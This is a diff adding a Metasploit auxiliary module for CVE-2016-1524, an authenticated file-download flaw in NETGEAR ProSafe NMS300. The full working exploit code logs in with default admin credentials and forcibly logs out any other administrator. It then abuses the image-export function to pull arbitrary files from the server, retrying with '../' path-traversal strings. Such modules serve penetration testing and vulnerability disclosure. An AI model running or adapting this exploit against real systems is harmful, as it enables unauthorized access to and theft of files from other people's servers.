|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class Metasploit3 < Msf::Auxiliary |
| 9 | + |
| 10 | + include Msf::Auxiliary::Report |
| 11 | + include Msf::Exploit::Remote::HttpClient |
| 12 | + |
| 13 | + def initialize(info = {}) |
| 14 | + super(update_info(info, |
| 15 | + 'Name' => 'NETGEAR ProSafe Network Management System 300 Authenticated File Download', |
| 16 | + 'Description' => %q{ |
| 17 | + Netgear's ProSafe NMS300 is a network management utility that runs on Windows systems. |
| 18 | + The application has a file download vulnerability that can be exploited by an |
| 19 | + authenticated remote attacker to download any file in the system.. |
| 20 | + This module has been tested with versions 1.5.0.2, 1.4.0.17 and 1.1.0.13. |
| 21 | + }, |
| 22 | + 'Author' => |
| 23 | + [ |
| 24 | + 'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and updated MSF module |
| 25 | + ], |
| 26 | + 'License' => MSF_LICENSE, |
| 27 | + 'References' => |
| 28 | + [ |
| 29 | + ['CVE', '2016-1524'], |
| 30 | + ['US-CERT-VU', '777024'], |
| 31 | + ['URL', 'TODO_GITHUB_URL'], |
| 32 | + ['URL', 'TODO_FULLDISC_URL'] |
| 33 | + ], |
| 34 | + 'DisclosureDate' => 'Feb 4 2016')) |
| 35 | + |
| 36 | + register_options( |
| 37 | + [ |
| 38 | + Opt::RPORT(8080), |
| 39 | + OptString.new('TARGETURI', [true, "Application path", '/']), |
| 40 | + OptString.new('USERNAME', [true, 'The username to login as', 'admin']), |
| 41 | + OptString.new('PASSWORD', [true, 'Password for the specified username', 'admin']), |
| 42 | + OptString.new('FILEPATH', [false, 'Path of the file to download minus the drive letter', '/Windows/System32/calc.exe']), |
| 43 | + ], self.class) |
| 44 | + end |
| 45 | + |
| 46 | + def authenticate |
| 47 | + res = send_request_cgi({ |
| 48 | + 'uri' => normalize_uri(datastore['TARGETURI'], 'userSession.do'), |
| 49 | + 'method' => 'POST', |
| 50 | + 'vars_post' => { |
| 51 | + 'userName' => datastore['USERNAME'], |
| 52 | + 'password' => datastore['PASSWORD'] |
| 53 | + }, |
| 54 | + 'vars_get' => { 'method' => 'login' } |
| 55 | + }) |
| 56 | + |
| 57 | + if res && res.code == 200 |
| 58 | + cookie = res.get_cookies |
| 59 | + if res.body.to_s =~ /"loginOther":true/ && res.body.to_s =~ /"singleId":"([A-Z0-9]*)"/ |
| 60 | + # another admin is logged in, let's kick him out |
| 61 | + res = send_request_cgi({ |
| 62 | + 'uri' => normalize_uri(datastore['TARGETURI'], 'userSession.do'), |
| 63 | + 'method' => 'POST', |
| 64 | + 'cookie' => cookie, |
| 65 | + 'vars_post' => { 'singleId' => $1 }, |
| 66 | + 'vars_get' => { 'method' => 'loginAgain' } |
| 67 | + }) |
| 68 | + if res && res.code == 200 && (not res.body.to_s =~ /"success":true/) |
| 69 | + return nil |
| 70 | + end |
| 71 | + end |
| 72 | + return cookie |
| 73 | + end |
| 74 | + return nil |
| 75 | + end |
| 76 | + |
| 77 | + |
| 78 | + def download_file (download_path, cookie) |
| 79 | + filename = Rex::Text.rand_text_alphanumeric(8 + rand(10)) + ".img" |
| 80 | + begin |
| 81 | + res = send_request_cgi({ |
| 82 | + 'method' => 'POST', |
| 83 | + 'cookie' => cookie, |
| 84 | + 'uri' => normalize_uri(datastore['TARGETURI'], 'data', 'config', 'image.do'), |
| 85 | + 'vars_get' => { |
| 86 | + 'method' => 'add' |
| 87 | + }, |
| 88 | + 'vars_post' => { |
| 89 | + 'realName' => download_path, |
| 90 | + 'md5' => '', |
| 91 | + 'fileName' => filename, |
| 92 | + 'version' => Rex::Text.rand_text_alphanumeric(8 + rand(2)), |
| 93 | + 'vendor' => Rex::Text.rand_text_alphanumeric(4 + rand(3)), |
| 94 | + 'deviceType' => rand(999), |
| 95 | + 'deviceModel' => Rex::Text.rand_text_alphanumeric(5 + rand(3)), |
| 96 | + 'description' => Rex::Text.rand_text_alphanumeric(8 + rand(10)) |
| 97 | + }, |
| 98 | + }) |
| 99 | + |
| 100 | + if res && res.code == 200 && res.body.to_s =~ /"success":true/ |
| 101 | + res = send_request_cgi({ |
| 102 | + 'method' => 'POST', |
| 103 | + 'cookie' => cookie, |
| 104 | + 'uri' => normalize_uri(datastore['TARGETURI'], 'data', 'getPage.do'), |
| 105 | + 'vars_get' => { |
| 106 | + 'method' => 'getPageList', |
| 107 | + 'type' => 'configImgManager', |
| 108 | + }, |
| 109 | + 'vars_post' => { |
| 110 | + 'everyPage' => 500 + rand(999) |
| 111 | + }, |
| 112 | + }) |
| 113 | + |
| 114 | + if res && res.code == 200 && res.body.to_s =~ /"imageId":"([0-9]*)","fileName":"#{filename}"/ |
| 115 | + image_id = $1 |
| 116 | + return send_request_cgi({ |
| 117 | + 'uri' => normalize_uri(datastore['TARGETURI'], 'data', 'config', 'image.do'), |
| 118 | + 'method' => 'GET', |
| 119 | + 'cookie' => cookie, |
| 120 | + 'vars_get' => { |
| 121 | + 'method' => 'export', |
| 122 | + 'imageId' => image_id |
| 123 | + } |
| 124 | + }) |
| 125 | + end |
| 126 | + end |
| 127 | + return nil |
| 128 | + rescue Rex::ConnectionRefused |
| 129 | + print_error("#{peer} - Could not connect.") |
| 130 | + return |
| 131 | + end |
| 132 | + end |
| 133 | + |
| 134 | + |
| 135 | + def save_file(filedata) |
| 136 | + vprint_line(filedata.to_s) |
| 137 | + fname = File.basename(datastore['FILEPATH']) |
| 138 | + |
| 139 | + path = store_loot( |
| 140 | + 'netgear.http', |
| 141 | + 'application/octet-stream', |
| 142 | + datastore['RHOST'], |
| 143 | + filedata, |
| 144 | + fname |
| 145 | + ) |
| 146 | + print_good("File saved in: #{path}") |
| 147 | + end |
| 148 | + |
| 149 | + |
| 150 | + def run |
| 151 | + cookie = authenticate |
| 152 | + if cookie == nil |
| 153 | + fail_with(Failure::Unknown, "#{peer} - Failed to log in with the provided credentials.") |
| 154 | + else |
| 155 | + print_good("#{peer} - Logged with successfully.") |
| 156 | + end |
| 157 | + |
| 158 | + if datastore['FILEPATH'].nil? || datastore['FILEPATH'].empty? |
| 159 | + fail_with(Failure::Unknown, "#{peer} - Please supply the path of the file you want to download.") |
| 160 | + return |
| 161 | + end |
| 162 | + |
| 163 | + filepath = datastore['FILEPATH'] |
| 164 | + res = download_file(filepath, cookie) |
| 165 | + if res && res.code == 200 |
| 166 | + if res.body.to_s.bytesize != 0 && (not res.body.to_s =~/This file does not exist./) && (not res.body.to_s =~/operation is failed/) |
| 167 | + save_file(res.body) |
| 168 | + return |
| 169 | + end |
| 170 | + end |
| 171 | + |
| 172 | + print_error("#{peer} - File not found, using bruteforce to attempt to download the file") |
| 173 | + count = 1 |
| 174 | + while count < 15 |
| 175 | + res = download_file(("../" * count).chomp('/') + filepath, cookie) |
| 176 | + if res && res.code == 200 |
| 177 | + if res.body.to_s.bytesize != 0 && (not res.body.to_s =~/This file does not exist./) && (not res.body.to_s =~/operation is failed/) |
| 178 | + save_file(res.body) |
| 179 | + return |
| 180 | + end |
| 181 | + end |
| 182 | + count += 1 |
| 183 | + end |
| 184 | + |
| 185 | + print_error("#{peer} - Failed to download file.") |
| 186 | + end |
| 187 | +end |
0 commit comments